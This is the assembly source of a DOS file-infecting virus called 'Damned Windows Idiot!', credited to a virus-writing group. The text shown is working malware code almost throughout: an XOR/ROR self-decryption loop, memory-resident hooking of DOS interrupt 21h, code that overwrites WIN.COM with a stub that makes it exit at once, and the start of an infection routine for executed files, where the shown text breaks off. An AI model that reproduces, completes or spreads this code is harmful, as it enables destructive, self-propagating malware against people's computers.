dwi.asm

一些病毒源代码

; [][]   []      [] [][][]   "Damned Windows Idiot!" or Anti-Windows...
; [] ][  []      []   []     
; []  [] []      []   []          An original Viral Artform by
; []  [] []  []  []   []      AccuPunk and The Attitude Adjuster of
; [] ][  [] ][][ []   []     Virulent Graffiti, 216/513/914/602/703!
; [][]    ][    ][  [][][]

;       "Hey, you... with the shitty logo... Yeah, you! Get over here!"

.model tiny
.code
        org     100h

id_word   equ   '1V'                                    ; Marker Word
                                                        ; V1 in Lil' Endian
entry:
     mov       bx, offset endcrypt                      ; Virus Start
     mov       cx, (end_write-endcrypt)/2               ; Ieterations
Valu:     
     mov       dx, 0000h                                ; Xor Word
Crypt_Loop:
     xor       word ptr cs:[bx], dx                     ; Xor It (CS Ovr'rd)
     ror       word ptr cs:[bx], 1                      ; Roll it Right!
     inc       bx
     inc       bx
     loop      Crypt_Loop
EndCrypt:

     push      ds es                                    ; Save Segments
     
     push      cs cs                                    ; CS=DS=ES
     pop       ds es
     
     mov       ax, 0ABCDh                               ; R-U-There?
     int       21h  
     cmp       ax, 6969h                                ; Ax=6969h Vir_Ident    
     jne       put_vir_in_mem                           ; No.

exit:
     pop       es ds                                    ; Restore Segments

     mov       ax, es                                   ; AX = PSP segment
     add       ax, 10h                                  ; Adjust for PSP
     mov       cx, ax

     add       ax, word ptr cs:[stacksave]              ; Adjust SS
     
     cli
     mov       sp, word ptr cs:[stacksave+2]            ; Set SP
     mov       ss, ax                                   ; Set SS
     sti
     
     mov       bx, word ptr cs:[jmpsave+2]              ; Adjust CodeSeg
     add       bx, cx
     push      bx                                       ; Save It

     mov       bx, word ptr cs:[jmpsave]                ; Load IP
     push      bx                                       ; Save It

     retf                                               ; Exit Virus

jmpsave        dd 0fff00000h                            ; Point to INT 20h
stacksave      dd ?                                     ; Nada.

put_vir_in_mem:
     xor       ax,ax                                    ; Interrupt Table
     mov       ds,ax
     les       bx, dword ptr ds:[21h*4]                 ; Int 21h Vector
     
     mov       word ptr cs:[old_int_21], bx             ; Save Int 21h
     mov       word ptr ds:[30h*4],bx                   ; Revector 30h
     mov       word ptr cs:[old_int_21+2], es
     mov       word ptr ds:[30h*4+2], es
     
     push      cs cs                                    ; Restore Segments 
     pop       es ds
     
     mov       ax, 5800h                                ; Get Mem Alloc
     int       21h

     push      ax                                       ; Save Strategy

     mov       bx, 2
     mov       ax, 5801h                                ; Set to Last Fit
     int       21h

     mov       bx, ((end_vir - entry) / 16) + 1
     mov       ah, 48h                                  ; Allocate Block
     int       21h

     push      ax                                       ; Returned in AX
     sub       ax, 10h                                  ; Base Ofs 100h
     mov       es, ax                                   ; Our Segment
     
     mov       di, 100h                                 ; Entry = 100h
     mov       si, di                                   ; Entry = 100h
     mov       cx, end_write - entry                    ; Bytes to Zopy
     rep       movsb
     
     xor       cx, cx                                   ; Interrupt Table
     push      cx     
     pop       ds

     cli
     mov       word ptr ds:[21h*4], offset Int_21_handler     ; Set Int 21h
     mov       word ptr ds:[21h*4+2], ax
     sti

     pop       ax
     sub       ax, 1
     mov       es, ax                                   ; Point To MCB
     mov       word ptr es:[0001], 0008                 ; Config = 0008h

     mov       ax, 5801h                                ; Reset Strategy
     pop       bx
     int       21h
     
     jmp       exit                                     ; Exit Stub

int_21_handler:      
     push      ax bx cx dx si di bp es ds               ; Save Registers
     
     cmp       ax, 0ABCDh                               ; R-U-There? 
     je        r_u_there

     cmp       ax, 4B00h                                ; DOS Exec? 
     je        exec_call

back_to_dos:
     pop       ds es bp di si dx cx bx ax               ; Restore Registers
     
     db        0eah                                     ; JMP XXXX:YYYY
old_int_21     dd   ?

remove_locks:
     xor       ax,ax                                    ; Interrupt Table
     mov       ds,ax
     les       ax, dword ptr cs:[Old24]                 ; Get Int 24h Vector
     
     mov       word ptr ds:[24h*4], Ax                  ; And Replace It
     mov       word ptr ds:[24h*4+2], Es
     jmp       back_to_dos

r_u_there:
     mov       bp, sp                                   ; Alter AX On Stack
     mov       word ptr [bp+10h], 6969h
     jmp       end_int_21

exec_call:
     xor       ax,ax                                    ; Revector Int 24h
     mov       ds,ax
     les       ax, DWord Ptr ds:[24h*4]
     
     mov       word ptr cs:[Old24], ax                  ; Save Old Vector
     mov       word ptr cs:[Old24+2], es
     
     mov       word ptr ds:[24h*4], Offset My24         ; With Our Vector
     mov       word ptr ds:[24h*4+2], cs

     pop       es                                       ; Caller's Ds in Es
     push      es
     
     mov       di, dx                                   ; ES:DI -> filename
     push      cs
     pop       ds                                       ; DS:SI -> "WIN.COM"
     mov       si, offset win_com
     push      si

find_top:
     pop       si
     push      si
     lodsb                                              ; AL = "W" 
     
     mov       cx, 128
     repnz     scasb                                    ; Scan For "W"
     je        check_it                                 ; Got a "W", Check It
     pop       si
     jmp       infect                                   ; Not WIN.COM

check_it:
     mov       cl, 7

check_char:
     lodsb                                              ; Load Next Character
     scasb                                              ; and Check it
     jne       find_top                                 ; Leave if < >
     loop      check_char

     pop       si
     
nuke_windows:
     push      es
     pop       ds
     
     mov       ax, 3d02h                                ; Open WIN.COM        
     int       30h

     xchg      ax,bx                                    ; Handle in BX

     push      cs
     pop       ds

     mov       ah, 40h                                  ; Write WIN.COM
     mov       cx, (my24-win_exit)-1
     mov       dx, offset win_exit                      ; with CD 20h
     int       30h
     
     mov       ah, 3eh                                  ; Close File
     int       30h
     
     mov       ah, 9                                    ; Show User Message
     mov       dx, offset win_msg
     int       30h
    
end_int_21: 
     pop       ds es bp di si dx cx bx ax               ; Restore Registers
     iret

infect:                                                 ; File Infection
     push      es
     pop       ds

     mov       si, dx                                   ; DS:SI -> filename
     push      cs
     pop       es             
     mov       di, offset fname
LoopAgain:                                              ; Copy filename into
     lodsb                                              ; Our CodeSeg.
     stosb
     or        al,al
     jnz       LoopAgain
     
     push      cs                                       ; CS=DS=ES
     pop       ds
     
     xor       ax, ax                                   ; Get Attributes 
     call      attributes

     mov       word ptr [fattr], cx                     ; Save Attributes